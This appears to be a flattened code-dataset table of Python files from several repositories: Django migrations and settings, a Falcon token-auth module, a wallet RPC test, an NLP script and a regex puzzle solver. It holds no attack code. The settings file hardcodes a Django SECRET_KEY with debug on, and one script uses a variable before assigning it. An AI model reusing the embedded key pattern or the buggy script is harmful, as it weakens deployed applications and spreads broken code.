blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 2
616
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
69
| license_type
stringclasses 2
values | repo_name
stringlengths 5
118
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringlengths 4
63
| visit_date
timestamp[us] | revision_date
timestamp[us] | committer_date
timestamp[us] | github_id
int64 2.91k
686M
โ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 23
values | gha_event_created_at
timestamp[us] | gha_created_at
timestamp[us] | gha_language
stringclasses 220
values | src_encoding
stringclasses 30
values | language
stringclasses 1
value | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 2
10.3M
| extension
stringclasses 257
values | content
stringlengths 2
10.3M
| authors
listlengths 1
1
| author_id
stringlengths 0
212
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
26bf117218c6051324644c2dbf2de1158d34b2eb
|
18e52d7a4a030023d0984237caa32412883182ab
|
/choose_word_dim.py
|
e9df64841031b6a9b0eac02dec4b0b87721b7217
|
[] |
no_license
|
pink1y/NLP
|
433dd97af02405546739891d889ba49726c9cc3c
|
1f2eb5160dd912a44f02ed1ef30de2148113a695
|
refs/heads/master
| 2021-07-19T11:17:47.716433 | 2017-10-28T22:40:23 | 2017-10-28T22:40:23 | 108,548,189 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,055 |
py
|
# this program pick words as dimension for further analyse
import json
import os
import math
import operator
from time import time
# determine choosing method
# ---frequency control
freq = 100
# ---pos control
_pos = 'VB'
with open('word_bank_sorted.json', 'r') as _bank:
all_words = json.load(_bank)
# store choosed words
dim = {}
# index for choosed words
used = 0
for aW in all_words:
# consider letters only
for char in aW[1]['word']:
if char.isalpha() != True:
isWord = False
if isWord == False:
continue
# consider the words with lower freq
if aW[1]['dfi'] > freq:
continue
# consider pos
if not aW[1]['pos'].startswith(_pos):
continue
dim.update({
aW[1]['word']: aW[1]
})
dim[aW[1]['word']].update({
'index': used,
'dfi_value': math.log10(304713/aW[1]['dfi'])
})
if used < 299:
used += 1
else:
break
with open('word_bank_dim300.json', 'w') as dim300:
json.dump(dim, dim300)
|
[
"noreply@github.com"
] |
pink1y.noreply@github.com
|
86a0f6781fa527b727ad2ba1ea7aba2cb48c180a
|
d1017c1786522122e49462fbac81d3eaf63ad955
|
/guides/migrations/0003_auto_20181219_1323.py
|
98e0cb72d93a5c893b8e0ad42b50dcf7ddca31ef
|
[] |
no_license
|
DmitriyMaksimovich/guideline
|
a27bcca496bd3515e7ced5968b00e486ac5eee7b
|
eff8d7bc714d3bf5ec845ea469a73d7e171cf3f1
|
refs/heads/master
| 2020-04-19T00:58:39.571738 | 2019-02-18T19:20:12 | 2019-02-18T19:20:12 | 167,860,725 | 2 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 562 |
py
|
# Generated by Django 2.1.3 on 2018-12-19 13:23
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('guides', '0002_guide_author'),
]
operations = [
migrations.RenameField(
model_name='guide',
old_name='preveiw',
new_name='preview',
),
migrations.AddField(
model_name='guide',
name='hidden',
field=models.CharField(default='', max_length=5),
preserve_default=False,
),
]
|
[
"d.maksimovich@vivaldi.net"
] |
d.maksimovich@vivaldi.net
|
2d23c486b6b8d09a019de7151d5b7f233fd6c5d7
|
0be530943bf413f53ae9da9f374d730d4275c4ac
|
/ๅป้คๅญ็ฌฆไธฒไธญ็.py
|
5775625bfaf11006613964933746427a2ad4614d
|
[] |
no_license
|
649568078/DB_pingtest
|
346e763c93c7f913a2b043b874f8419aacc0ca13
|
cd04d63dacd9bc04ec3ecf6e863aae07776c654a
|
refs/heads/master
| 2022-12-15T06:35:14.096355 | 2020-08-28T12:28:24 | 2020-08-28T12:28:24 | 291,041,184 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 77 |
py
|
r='http://discovery.imicams.ac.cn/'
print(r.replace('/','').replace(':',''))
|
[
"649568078@qq.com"
] |
649568078@qq.com
|
0006232e66e9b267c54344acf505f520ca34f480
|
0adf94fc39a02018165b62e93dd83edddd041230
|
/.history/configurations/settings_20190226153809.py
|
75cf74155e05e00a2fbe0afc31d36aded4447481
|
[] |
no_license
|
SabitDeepto/BrJobs
|
1e3baa143331cf46b9c70911c6644d1efd4fffd6
|
1a458c8c667f8093a2325d963e5542655467c7aa
|
refs/heads/master
| 2020-04-24T08:02:26.350007 | 2019-03-17T05:53:30 | 2019-03-17T05:53:30 | 171,818,024 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 4,011 |
py
|
"""
Django settings for configurations project.
Generated by 'django-admin startproject' using Django 2.1.3.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.1/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '+nu9r@lhaog&+yl!%vwmk1a-xed5!2ml&pm=n(t)(!8bed$^ny'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'Test',
'Jobs',
'ckeditor',
'ckeditor_uploader',
'register',
'debug_toolbar',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
# ...
'debug_toolbar.middleware.DebugToolbarMiddleware',
# ...
]
ROOT_URLCONF = 'configurations.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': ['templates'],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'configurations.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators
# AUTH_PASSWORD_VALIDATORS = [
# {
# 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
# },
# {
# 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
# },
# {
# 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
# },
# {
# 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
# },
# ]
# Internationalization
# https://docs.djangoproject.com/en/2.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'Asia/Dhaka'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.1/howto/static-files/
STATIC_URL = '/static/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
MEDIA_URL = '/media/'
STATICFILES_DIRS = [
os.path.join(BASE_DIR, "static"),
]
#...
SITE_ID = 1
####################################
## CKEDITOR CONFIGURATION ##
####################################
CKEDITOR_JQUERY_URL = 'https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js'
CKEDITOR_UPLOAD_PATH = 'uploads/'
CKEDITOR_IMAGE_BACKEND = "pillow"
CKEDITOR_CONFIGS = {
'default': {
'toolbar': None,
},
}
###################################
# AUTH_USER_MODEL = 'Test.User'
# AUTH_USER_MODEL = 'TestApp.User'
LOGIN_REDIRECT_URL = '/'
LOGOUT_REDIRECT_URL = '/'
# AUTH_USER_MODEL = 'Jobs.User'
|
[
"deepto69@gmail.com"
] |
deepto69@gmail.com
|
425a930b4ab70532dafbfb2209460ae38ba9e02a
|
dba16833d28984eb21eea7658d81d4d989f03687
|
/auth.py
|
5841b75858fd6f97d9c12741637c8e11841b1934
|
[] |
no_license
|
jcarley/catalyze-python
|
eae8f1758b492a9e8dde6051e0d70b8554fdb3b4
|
52ee749fcdd03c58ef793d27996046a918db45df
|
refs/heads/master
| 2020-03-21T20:43:46.821623 | 2018-02-06T16:45:16 | 2018-02-06T16:45:16 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 4,684 |
py
|
import falcon
import json
import sqlite3
import uuid
import datetime
import users
def authHook(request, response, resource, params):
if not resource.authcheck.isAuthenticated(request):
if(resource.authcheck.token is None):
title = "No Token"
message = "You did not provide an authentication token with your request."
else:
title = "Invalid Token"
message = "The token you provided is invalid or expired."
raise falcon.HTTPError(falcon.HTTP_401, title, message)
class Authorizer:
def __init__(self, dbPath):
self.authRepo = AuthRepository(dbPath)
self.userID = None
self.token = None
def isAuthenticated(self, request):
if request.auth is None :
self.token = None
self.userID = None
#if token doesn't match cach or this is a fresh instance,
#query the database. otherwise use cached values
elif self.token is None or self.token is not request.auth:
self.token = request.auth
self.userID = self.authRepo.checkToken(self.token)
return self.userID is not None
class AuthRepository:
def __init__(self, dbPath):
self.dbPath = dbPath
def createToken(self, userID, lifespan):
conn = self._makeConnection()
c = conn.cursor()
query = "INSERT INTO auth_token(token, user_id, created, expires) \
VALUES(?, ?, ?, ?)"
token = uuid.uuid4().hex
currentTime = datetime.datetime.now()
expires = currentTime + datetime.timedelta(seconds=lifespan)
c.execute(query, (token, userID,
currentTime.strftime("%Y-%m-%d %H:%M:%S"),
expires.strftime("%Y-%m-%d %H:%M:%S")))
conn.commit()
conn.close()
return token
def checkToken(self, token):
conn = self._makeConnection()
c = conn.cursor()
query = "SELECT user_id, expires FROM auth_token WHERE token = ?"
c.execute(query, (token,))
row = c.fetchone();
conn.close()
if row is None:
return None
userID = row[0]
expires = datetime.datetime.strptime(row[1], "%Y-%m-%d %H:%M:%S")
currentTime = datetime.datetime.now()
if(currentTime <= expires):
return userID
self.deleteToken(token)
return None
def deleteToken(self, token):
conn = self._makeConnection()
c = conn.cursor()
query = "DELETE FROM auth_token WHERE token = ?"
c.execute(query, (token,))
conn.commit()
conn.close()
return c.rowcount > 0
def _makeConnection(self):
conn = sqlite3.connect(self.dbPath)
conn.execute("PRAGMA foreign_keys = 1")
return conn
class AuthResource(object):
def __init__(self, dbPath, authcheck):
self.users = users.UserRepository(dbPath)
self.repository = AuthRepository(dbPath)
self.authcheck = authcheck
self.lifespan = 24 * 60 * 60
def on_post(self, request, response):
if request.content_length:
try:
raw_data = request.stream.read().decode("utf-8")
except Exception as ex:
raise falcon.HTTPError(falcon.HTTP_400, 'Bad request',
'Error reading request body')
try:
authdata = json.loads(raw_data)
except ValueError:
raise falcon.HTTPError(falcon.HTTP_400, 'Malformed JSON',
'Could not decode request body. JSON was improperly formed.')
else:
raise falcon.HTTPError(falcon.HTTP_400, 'Empty Request',
'The request body was empty.')
authUser = self.users.checkUser(authdata['username'], authdata['password'])
if authUser is None:
raise falcon.HTTPError(falcon.HTTP_401, "Incorrect Credentials",
'The username and password were incorrect')
token = self.repository.createToken(authUser, self.lifespan)
response.body = '{"token": "' + token + '"}'
response.status = falcon.HTTP_200
@falcon.before(authHook)
def on_delete(self, request, response):
if(not self.repository.deleteToken(self.authcheck.token)):
raise falcon.HTTPError(falcon.HTTP_400, 'Delete Error',
'Problem invalidating token. It might already be invalid.')
response.body = '{"message": "Token has been successfully invalidated"}'
response.status = falcon.HTTP_200
|
[
"nmartinez@argusinvent.com"
] |
nmartinez@argusinvent.com
|
fe67b91e8610c21774cc8c9bc3590b8914095c52
|
b62a74192561e950e53574aaab178eebec713d1b
|
/ML/main_EXP_G_VULN_MULTIPLE_GUESSES_create_channel_wrapper.py
|
3f9906b53d45f8269718a763cf1a690f80db44fe
|
[] |
no_license
|
LEAVESrepo/leaves
|
a094fdf9bc020c43dd1af485502e196db41f2188
|
0a8590733c0b85c93c404ef1154bb96b4ab51edb
|
refs/heads/master
| 2020-12-30T01:06:33.501736 | 2020-06-07T22:33:00 | 2020-06-07T22:33:00 | 239,523,846 | 2 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 218 |
py
|
from EXP_G_VULN_MULTIPLE_GUESSES import main_EXP_G_VULN_MULTIPLE_GUESSES_create_channel
if __name__ == '__main__':
main_EXP_G_VULN_MULTIPLE_GUESSES_create_channel.main_EXP_G_VULN_MULTIPLE_GUESSES_create_channel()
|
[
"leavesgit@gmail.com"
] |
leavesgit@gmail.com
|
7c2053007884b073def00f0df60c6c1fff28c5c5
|
9251d88c49ad1f6ba40ca69d119a2ada44d3c49f
|
/test/functional/wallet_listsinceblock.py
|
4b9291a0e160f7e4ad37f52b398950f24bbfea6a
|
[
"MIT"
] |
permissive
|
jessiepathfinder/sthcoin
|
a8cc7dd19aa86fe4589279794defd06c8b73a095
|
6930dc9ad9d9e6b5b9d3bdc4638ee741066031e0
|
refs/heads/master
| 2023-03-16T16:22:22.767464 | 2020-06-05T03:06:46 | 2020-06-05T03:06:46 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 9,734 |
py
|
#!/usr/bin/env python3
# Copyright (c) 2017-2018 The Bitcoin Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""Test the listsincelast RPC."""
from test_framework.test_framework import SthcoinTestFramework
from test_framework.util import assert_equal, assert_array_result, assert_raises_rpc_error
class ListSinceBlockTest (SthcoinTestFramework):
def set_test_params(self):
self.num_nodes = 4
self.setup_clean_chain = True
def skip_test_if_missing_module(self):
self.skip_if_no_wallet()
def run_test(self):
self.nodes[2].generate(101)
self.sync_all()
self.test_no_blockhash()
self.test_invalid_blockhash()
self.test_reorg()
self.test_double_spend()
self.test_double_send()
def test_no_blockhash(self):
txid = self.nodes[2].sendtoaddress(self.nodes[0].getnewaddress(), 1)
blockhash, = self.nodes[2].generate(1)
self.sync_all()
txs = self.nodes[0].listtransactions()
assert_array_result(txs, {"txid": txid}, {
"category": "receive",
"amount": 1,
"blockhash": blockhash,
"confirmations": 1,
})
assert_equal(
self.nodes[0].listsinceblock(),
{"lastblock": blockhash,
"removed": [],
"transactions": txs})
assert_equal(
self.nodes[0].listsinceblock(""),
{"lastblock": blockhash,
"removed": [],
"transactions": txs})
def test_invalid_blockhash(self):
assert_raises_rpc_error(-5, "Block not found", self.nodes[0].listsinceblock,
"42759cde25462784395a337460bde75f58e73d3f08bd31fdc3507cbac856a2c4")
assert_raises_rpc_error(-5, "Block not found", self.nodes[0].listsinceblock,
"0000000000000000000000000000000000000000000000000000000000000000")
assert_raises_rpc_error(-5, "Block not found", self.nodes[0].listsinceblock,
"invalid-hex")
def test_reorg(self):
'''
`listsinceblock` did not behave correctly when handed a block that was
no longer in the main chain:
ab0
/ \
aa1 [tx0] bb1
| |
aa2 bb2
| |
aa3 bb3
|
bb4
Consider a client that has only seen block `aa3` above. It asks the node
to `listsinceblock aa3`. But at some point prior the main chain switched
to the bb chain.
Previously: listsinceblock would find height=4 for block aa3 and compare
this to height=5 for the tip of the chain (bb4). It would then return
results restricted to bb3-bb4.
Now: listsinceblock finds the fork at ab0 and returns results in the
range bb1-bb4.
This test only checks that [tx0] is present.
'''
# Split network into two
self.split_network()
# send to nodes[0] from nodes[2]
senttx = self.nodes[2].sendtoaddress(self.nodes[0].getnewaddress(), 1)
# generate on both sides
lastblockhash = self.nodes[1].generate(6)[5]
self.nodes[2].generate(7)
self.log.info('lastblockhash=%s' % (lastblockhash))
self.sync_all([self.nodes[:2], self.nodes[2:]])
self.join_network()
# listsinceblock(lastblockhash) should now include tx, as seen from nodes[0]
lsbres = self.nodes[0].listsinceblock(lastblockhash)
found = False
for tx in lsbres['transactions']:
if tx['txid'] == senttx:
found = True
break
assert found
def test_double_spend(self):
'''
This tests the case where the same UTXO is spent twice on two separate
blocks as part of a reorg.
ab0
/ \
aa1 [tx1] bb1 [tx2]
| |
aa2 bb2
| |
aa3 bb3
|
bb4
Problematic case:
1. User 1 receives STHC in tx1 from utxo1 in block aa1.
2. User 2 receives STHC in tx2 from utxo1 (same) in block bb1
3. User 1 sees 2 confirmations at block aa3.
4. Reorg into bb chain.
5. User 1 asks `listsinceblock aa3` and does not see that tx1 is now
invalidated.
Currently the solution to this is to detect that a reorg'd block is
asked for in listsinceblock, and to iterate back over existing blocks up
until the fork point, and to include all transactions that relate to the
node wallet.
'''
self.sync_all()
# Split network into two
self.split_network()
# share utxo between nodes[1] and nodes[2]
utxos = self.nodes[2].listunspent()
utxo = utxos[0]
privkey = self.nodes[2].dumpprivkey(utxo['address'])
self.nodes[1].importprivkey(privkey)
# send from nodes[1] using utxo to nodes[0]
change = '%.8f' % (float(utxo['amount']) - 1.0003)
recipient_dict = {
self.nodes[0].getnewaddress(): 1,
self.nodes[1].getnewaddress(): change,
}
utxo_dicts = [{
'txid': utxo['txid'],
'vout': utxo['vout'],
}]
txid1 = self.nodes[1].sendrawtransaction(
self.nodes[1].signrawtransactionwithwallet(
self.nodes[1].createrawtransaction(utxo_dicts, recipient_dict))['hex'])
# send from nodes[2] using utxo to nodes[3]
recipient_dict2 = {
self.nodes[3].getnewaddress(): 1,
self.nodes[2].getnewaddress(): change,
}
self.nodes[2].sendrawtransaction(
self.nodes[2].signrawtransactionwithwallet(
self.nodes[2].createrawtransaction(utxo_dicts, recipient_dict2))['hex'])
# generate on both sides
lastblockhash = self.nodes[1].generate(3)[2]
self.nodes[2].generate(4)
self.join_network()
self.sync_all()
# gettransaction should work for txid1
assert self.nodes[0].gettransaction(txid1)['txid'] == txid1, "gettransaction failed to find txid1"
# listsinceblock(lastblockhash) should now include txid1, as seen from nodes[0]
lsbres = self.nodes[0].listsinceblock(lastblockhash)
assert any(tx['txid'] == txid1 for tx in lsbres['removed'])
# but it should not include 'removed' if include_removed=false
lsbres2 = self.nodes[0].listsinceblock(blockhash=lastblockhash, include_removed=False)
assert 'removed' not in lsbres2
def test_double_send(self):
'''
This tests the case where the same transaction is submitted twice on two
separate blocks as part of a reorg. The former will vanish and the
latter will appear as the true transaction (with confirmations dropping
as a result).
ab0
/ \
aa1 [tx1] bb1
| |
aa2 bb2
| |
aa3 bb3 [tx1]
|
bb4
Asserted:
1. tx1 is listed in listsinceblock.
2. It is included in 'removed' as it was removed, even though it is now
present in a different block.
3. It is listed with a confirmation count of 2 (bb3, bb4), not
3 (aa1, aa2, aa3).
'''
self.sync_all()
# Split network into two
self.split_network()
# create and sign a transaction
utxos = self.nodes[2].listunspent()
utxo = utxos[0]
change = '%.8f' % (float(utxo['amount']) - 1.0003)
recipient_dict = {
self.nodes[0].getnewaddress(): 1,
self.nodes[2].getnewaddress(): change,
}
utxo_dicts = [{
'txid': utxo['txid'],
'vout': utxo['vout'],
}]
signedtxres = self.nodes[2].signrawtransactionwithwallet(
self.nodes[2].createrawtransaction(utxo_dicts, recipient_dict))
assert signedtxres['complete']
signedtx = signedtxres['hex']
# send from nodes[1]; this will end up in aa1
txid1 = self.nodes[1].sendrawtransaction(signedtx)
# generate bb1-bb2 on right side
self.nodes[2].generate(2)
# send from nodes[2]; this will end up in bb3
txid2 = self.nodes[2].sendrawtransaction(signedtx)
assert_equal(txid1, txid2)
# generate on both sides
lastblockhash = self.nodes[1].generate(3)[2]
self.nodes[2].generate(2)
self.join_network()
self.sync_all()
# gettransaction should work for txid1
self.nodes[0].gettransaction(txid1)
# listsinceblock(lastblockhash) should now include txid1 in transactions
# as well as in removed
lsbres = self.nodes[0].listsinceblock(lastblockhash)
assert any(tx['txid'] == txid1 for tx in lsbres['transactions'])
assert any(tx['txid'] == txid1 for tx in lsbres['removed'])
# find transaction and ensure confirmations is valid
for tx in lsbres['transactions']:
if tx['txid'] == txid1:
assert_equal(tx['confirmations'], 2)
# the same check for the removed array; confirmations should STILL be 2
for tx in lsbres['removed']:
if tx['txid'] == txid1:
assert_equal(tx['confirmations'], 2)
if __name__ == '__main__':
ListSinceBlockTest().main()
|
[
"sth@eclipso.eu"
] |
sth@eclipso.eu
|
d8540332363e4542f1d3e14e1a972bf98aee5365
|
e6e56d6c7f45c9b3e55c1bc76b619e0af6d89ed7
|
/3.py
|
082d7efb5c530b0a927260460a3ef7feff57da8a
|
[
"Apache-2.0"
] |
permissive
|
hsebastian/fuzzy-octo-avenger
|
f7cbac63bf298279fc21552061c8438fe726e6aa
|
71e533e87bf27b30d9a66597ba9e67c4d1caf807
|
refs/heads/master
| 2021-01-23T03:13:28.091464 | 2015-07-01T06:15:39 | 2015-07-01T06:15:39 | 35,732,717 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 101,408 |
py
|
import re
body = """
kAewtloYgcFQaJNhHVGxXDiQmzjfcpYbzxlWrVcqsmUbCunkfxZWDZjUZMiGqhRRiUvGmYmvnJIHEmbT
MUKLECKdCthezSYBpIElRnZugFAxDRtQPpyeCBgBfaRVvvguRXLvkAdLOeCKxsDUvBBCwdpMMWmuELeG
ENihrpCLhujoBqPRDPvfzcwadMMMbkmkzCCzoTPfbRlzBqMblmxTxNniNoCufprWXxgHZpldkoLCrHJq
vYuyJFCZtqXLhWiYzOXeglkzhVJIWmeUySGuFVmLTCyMshQtvZpPwuIbOHNoBauwvuJYCmqznOBgByPw
TDQheAbsaMLjTmAOKmNsLziVMenFxQdATQIjItwtyCHyeMwQTNxbbLXWZnGmDqHhXnLHfEyvzxMhSXzd
BEBaxeaPgQPttvqRvxHPEOUtIsttPDeeuGFgmDkKQcEYjuSuiGROGfYpzkQgvcCDBKrcYwHFlvPzDMEk
MyuPxvGtgSvWgrybKOnbEGhqHUXHhnyjFwSfTfaiWtAOMBZEScsOSumwPssjCPlLbLsPIGffDLpZzMKz
jarrjufhgxdrzywWosrblPRasvRUpZLaUbtDHGZQtvZO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ZEQnyXSoGVDmUUXDiclJejRR
wgDEIuvHFxRfQhtqLKnJfONtkcnDORkZqbtPplsjjTEIsquhSsQTwNZuPVxaTqDvwMONBfCsNJuJpJHZ
dCdFLtBQPtFQuCdKOrpndJNUFQIDSbetUKylhSUjcDVtbiQrWMRQhAwGUZyPneCGUjGBBTkLqxLAXXtB
KfErkDaWMFZZeuqDmXKJEGHyToPUhPphfVhgUZgbIuRAtWnroImpJKqqmEZqeNQCKzhjIkKQHURWLXFw
PBuijeoTSpsVLaOGuLVjMZXkBvVXwUuHfBihziiavGSYofPNeKsTXruMUumRRPQJzvSzJkKbtSipiqBd
"""
matches = re.findall(r'[a-z]+[A-Z]{3}([a-z]{1})[A-Z]{3}[a-z]+', body)
for match in matches:
print match
print ''.join(matches)
|
[
"hsebastian@users.noreply.github.com"
] |
hsebastian@users.noreply.github.com
|
fe9acfaaafc22f65505a8d9228e03bf8308c8fd6
|
c97648fc60f893f5eea6b6d4732a6626b8bdd4e7
|
/Python/Modulos/Modulo1-Imprimir listas/setup.py
|
885f002b3d2afb13625827693af2debe0c965a2e
|
[
"Unlicense"
] |
permissive
|
lima1756/Learning
|
c1f1f9167feee141a91e7f57c4ac4a0ce369c863
|
b21f8680211d41033d67a5c0739868900d902028
|
refs/heads/master
| 2021-05-08T05:22:25.062799 | 2019-03-16T22:39:09 | 2019-03-16T22:39:09 | 106,345,701 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 337 |
py
|
from distutils.core import setup
setup(
name = 'Imprimir_Listas',
version = '1.0.4',
py_modules = ['Imprimir_Listas'],
author = 'LIMA',
author_email= 'luisivanmorett@gmail.com',
url = 'https://plus.google.com/+LuisIv%C3%A1nMorett/posts',
description = 'Imprime items de listas y de sus respectivas listas anidadas'
)
|
[
"luisivanmorett@gmail.com"
] |
luisivanmorett@gmail.com
|
2c219d59e1628a76ec98b36650781110431b3447
|
bfaf71568450a0eb6b720c6ba3d64b2bb2c3fbb6
|
/polls/migrations/0005_auto_20191119_1115.py
|
84163bf00be88e1665293836c051139ffc8e5607
|
[] |
no_license
|
dominikabial/kurs_django
|
56f6b2e1a2a7f5d07237990e5e19b5d6f5c97b41
|
4b151cbecef4c32efe8e1c211cb00284a733d618
|
refs/heads/master
| 2020-09-12T16:57:06.079464 | 2019-11-20T15:44:15 | 2019-11-20T15:44:15 | 222,485,985 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,619 |
py
|
# Generated by Django 2.2.7 on 2019-11-19 10:15
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('polls', '0004_auto_20191119_1012'),
]
operations = [
migrations.AlterModelOptions(
name='question',
options={'verbose_name': 'Question'},
),
migrations.AlterField(
model_name='question',
name='created',
field=models.DateTimeField(auto_now_add=True, verbose_name='created'),
),
migrations.AlterField(
model_name='question',
name='is_active',
field=models.BooleanField(default=True, verbose_name='is_active'),
),
migrations.AlterField(
model_name='question',
name='level',
field=models.CharField(blank=True, choices=[('easy', 'easy'), ('normal', 'normal'), ('hard', 'hard')], max_length=50, null=True, verbose_name='level'),
),
migrations.AlterField(
model_name='question',
name='modified',
field=models.DateTimeField(auto_now=True, verbose_name='modified'),
),
migrations.AlterField(
model_name='question',
name='question_image',
field=models.ImageField(blank=True, null=True, upload_to='questionimages/%Y/%m/%d', verbose_name='question_image'),
),
migrations.AlterField(
model_name='question',
name='question_text',
field=models.CharField(max_length=300, verbose_name='question text'),
),
]
|
[
"bialczak.d@poczta.onet.pl"
] |
bialczak.d@poczta.onet.pl
|
872d847d6fb99cc0d03cf950c45dda5a962a4960
|
c62ad505020c8c886a64989715ca99628d36fa3b
|
/config.py
|
28005011d6729ba1d04ba1125368e3ad74a958e4
|
[] |
no_license
|
yuvarajselvam/meetfiles-auth
|
7057e1d691de66c3fc7e99d21577854d322fd652
|
a3b56e3b954006daa072884c924937f1608e3941
|
refs/heads/master
| 2022-12-26T22:00:04.199486 | 2020-10-16T15:54:39 | 2020-10-16T15:54:39 | 304,656,522 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 798 |
py
|
from os import path, getenv
from pymongo import MongoClient
basedir = path.abspath(path.dirname(__file__))
class Config:
SECRET_KEY = getenv('SECRET_KEY')
JWT_SECRET_KEY = getenv('JWT_SECRET_KEY')
SESSION_TYPE = getenv('SESSION_TYPE')
SESSION_PERMANENT = getenv('SESSION_PERMANENT')
PERMANENT_SESSION_LIFETIME = int(getenv('PERMANENT_SESSION_LIFETIME'))
GOOGLE_CLIENT_ID = getenv('GOOGLE_CLIENT_ID')
GOOGLE_CLIENT_SECRET = getenv('GOOGLE_CLIENT_SECRET')
DEV_MONGODB_URI = getenv('DEV_MONGODB_URI')
DEV_MONGODB_DB = getenv('DEV_MONGODB_DB')
SESSION_MONGODB = MongoClient(DEV_MONGODB_URI)
SESSION_MONGODB_DB = DEV_MONGODB_DB
OAUTHLIB_INSECURE_TRANSPORT = 1
class LocalConfig(Config):
FLASK_ENV = 'local'
DEBUG = True
TESTING = True
|
[
"imyuvarajselvam@gmail.com"
] |
imyuvarajselvam@gmail.com
|
e08b56438e32c7bed043b26ab41637c0f4664902
|
e67c90a1a1c3f2f06e22dd90ade286228a9781eb
|
/project/migrations/0005_auto_20170207_1552.py
|
17f03a02161ad7ad1e3cd43cf4cd394f23856129
|
[] |
no_license
|
duojing/yagudjango
|
82a03e5d2e0d6307dffd212781a09046e191d65a
|
7c6c25ca2a387b19ab7a9dcaa7f8d4b5349f412e
|
refs/heads/master
| 2021-01-13T01:17:54.503960 | 2017-02-16T06:13:32 | 2017-02-16T06:13:32 | 81,444,932 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 2,149 |
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-02-07 06:52
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('project', '0004_gujang_theme'),
]
operations = [
migrations.CreateModel(
name='Blockview',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('view_img', models.ImageField(blank=True, default='None/no_img.png', upload_to='c:/pro')),
],
),
migrations.RemoveField(
model_name='block',
name='block_view',
),
migrations.AlterField(
model_name='block',
name='block_img',
field=models.ImageField(default='None/no_img.png', upload_to='c:/pro'),
),
migrations.AlterField(
model_name='gujang',
name='content',
field=models.TextField(default='์ค๋น์ค', help_text='๊ตฌ์ฅ ๊ธฐ๋ณธ์ ์ธ ์ ๋ณด ์
๋ ฅ'),
),
migrations.AlterField(
model_name='theme',
name='basic',
field=models.ImageField(blank=True, default='None/no_img.png', upload_to='c:/pro'),
),
migrations.AlterField(
model_name='theme',
name='cheer',
field=models.ImageField(blank=True, default='None/no_img.png', upload_to='c:/pro'),
),
migrations.AlterField(
model_name='theme',
name='etc',
field=models.ImageField(blank=True, default='None/no_img.png', upload_to='c:/pro'),
),
migrations.AlterField(
model_name='theme',
name='sight',
field=models.ImageField(blank=True, default='None/no_img.png', upload_to='c:/pro'),
),
migrations.AddField(
model_name='blockview',
name='block_view',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='project.Block'),
),
]
|
[
"SUBEEN LEE"
] |
SUBEEN LEE
|
e2073c9ce4789c584bccca6fc3c3479b3e086bb5
|
584dec8d31f55099a972ba8032282b349c91a572
|
